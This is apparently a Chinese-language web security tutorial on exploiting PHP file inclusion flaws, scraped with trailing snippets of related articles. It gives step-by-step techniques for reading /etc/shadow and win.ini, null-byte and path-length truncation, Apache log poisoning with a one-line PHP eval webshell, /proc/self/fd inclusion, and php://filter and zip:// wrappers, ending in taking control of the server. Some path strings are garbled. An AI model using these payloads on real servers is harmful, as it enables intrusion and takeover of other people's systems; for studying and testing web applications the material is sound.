1、觀察提示,是否為系統檔案,如win.ini在windows系統的c:/windows/win.ini中,boot.ini在windows系統的c:/boot.ini中
linux裡有:/etc/shadow /etc/passwd
2、帶入檔案,如果有字尾被自動加上,如果報錯,嘗試加入%00進行截斷,如果報錯,嘗試加入絕對路徑,比如c:/windows/win.ini%00,如果報錯,嘗試使用…達到256個字元進行截斷,嘗試加入…/,可以多加幾個,因為在有的包含中**中會加上乙個路徑字首,所以我們必須通過…/來規避這個字首,一般3-5個左右,一般就是%00截斷、…256字元截斷、絕對路徑、相對路徑等挨個嘗試;
注意:在windows系統下,某些php版本的檔案系統模組對於檔名後面所跟的「.」或者「./」或者「\」或者「/」或者「.」都會自動過濾而正常讀寫檔案,或者通過增加%00進行截斷,如filename%00.php:
filename///…(252個/)…/.php
filename…(252個)….php
filename./././…(126個./)…./.php
filename…(126個)……php
filename……(252個.)…………php
在linux系統下,某些php版本的檔案系統模組對於檔名後面所跟的「/.」或者「/」都會自動過濾而正常讀寫檔案。據此可構造惡意的檔案路徑,又因為linux下檔案路徑最大長度為4096,因此只需構造如下字串即可路徑截斷:
filename///…(4090個/)…/.php
filename/././…(2045個/.)…/…php
3、apache的日誌包含,
1)首先通過post或者get訪問apache伺服器
<?php @eval($_post['xyfy']);?>
2)通過burpsuite進行抓包,抓到包之後把包裡被urlencode的替換掉,日誌檔案裡包含一句話木馬
3)檔案包含apache日誌檔案
d:\software\wamp\logs\access.log
4)使用菜刀鏈結,獲得控制權
4、linux的proc/self/fd包含,適合於linux平台,並且檔案系統不知道log日誌放在什麼位置,
如果純粹把日誌檔案包含進來,就可以直接包含/proc/self/fd/0,進行挨個測試
如果要進行掛碼
1)首先通過post或者get訪問apache伺服器
<?php @eval($_post['xyfy']);?>
2)通過burpsuite進行抓包,抓到包之後把包裡被urlencode的替換掉,日誌檔案裡包含一句話木馬
3)檔案包含apache日誌檔案
proc/self/fd/0
4)使用菜刀鏈結,獲得控制權
5、php偽協議包含
file協議(必須知道檔案的絕對路徑):
filter協議(可以是絕對路徑,也可以是相對路徑):
使用base64編碼:
比如index1.php檔案包含的是**,希望獲得**內容,可以進行base64加密,之後取得資料之後進行解密
index1.php檔案如果是經過base64加密之後的檔案,讀取出之後可以進行解密讀
zip協議
注意:需要zip檔案的絕對位址,字尾可以不是zip,但是檔案內容必須是zip壓縮格式,#需要進行轉換成%23
zip://d:\software\wamp\www\x.zip%23x.php
檔案截斷
php以0x00作為結束標誌位
xx.php%00
1、如果是windows系統
檔名最大可以是256位,如果超過256將會被截斷,所以可以通過新增256個…進行截斷
另一種截斷方式是通過新增%00進行截斷
例如:c:/windows/win.ini…
如果引數中有多個,可以觀察引數的聯動性,比如有可能1個是檔名,另乙個是路徑,還有就是注意檔名最後的截斷:%00
name=boot.ini%00&path=test/…/…/…/…/
2、如果是linux系統
在linux系統下,某些php版本的檔案系統模組對於檔名後面所跟的「/.」或者「/」都會自動過濾而正常讀寫檔案。據此可構造惡意的檔案路徑,又因為linux下檔案路徑最大長度為4096,因此只需構造如下字串即可路徑截斷:
filename///…(4090個/)…/.php
filename/././…(2045個/.)…/…php
也就是說在檔案後面加上4096個/或者2045個/.就會把檔案後面的拼接值給截斷
3、針對web伺服器日誌的攻擊方法
apache的日誌預設儲存在安裝目錄下的logs資料夾下,主要有訪問日誌和錯誤日誌。在windows下這兩個日誌檔案為access.log和error.log,linux下是access_log和error_log。
首先構造訪問記錄:
<?php phpinfo();?>
即可在訪問日誌中生成一條記錄:192.168.1.247 - - [21/feb/2017:14:34:32 +0800]「get/lession/include/index.php?file=%3c?php%20phpinfo();?%3e http/1.1」 200 2092這條日誌中「file =%3c?php%20phpinfo();?%3e」這段**對應的是url中的「id=<?php phpinfo();?>」,可見字元』<』,』』和』>』分別被url編碼 為』%3c』,』%20』和』%3e』。因此我們需要繞過url編碼將正確的php**寫入日誌中。
通過burp進行抓包,把url編碼給轉換。
<?php @eval($_post['xyfy']);?>
檔案包含漏洞
簡單的來說,就是我們用乙個可控的變數作為檔名並以檔案包含的的方式呼叫了它,漏洞就產生了。以php為例檔案包含漏洞可以分為rfi 遠端檔案包含 和lfi 本地檔案包含漏洞 兩種。而區分他們最簡單的方法就是php.ini中是否開啟了allow url include。如果開啟了可能包含遠端檔案,如果不是...
檔案包含漏洞
1 什麼是檔案包含漏洞 檔案包含,包括本地檔案包含 locao file inclusion,lfi 和遠端檔案包含 remote file inclusion,rfi 兩種形式。首先,本地檔案包含就是通過瀏覽器引進 包含 web伺服器上的檔案,這種漏洞一般發生在瀏覽器包含檔案時沒有進行嚴格的過濾,...
檔案包含漏洞
直接執行 的函式 eval assert system exec shell exec passthru escapeshellcmd pcntl exec 等就不一一舉例了。1 eval eval 函式把字串按照 php 來計算,如常見的一句話後門程式 eval post cmd 2 assert...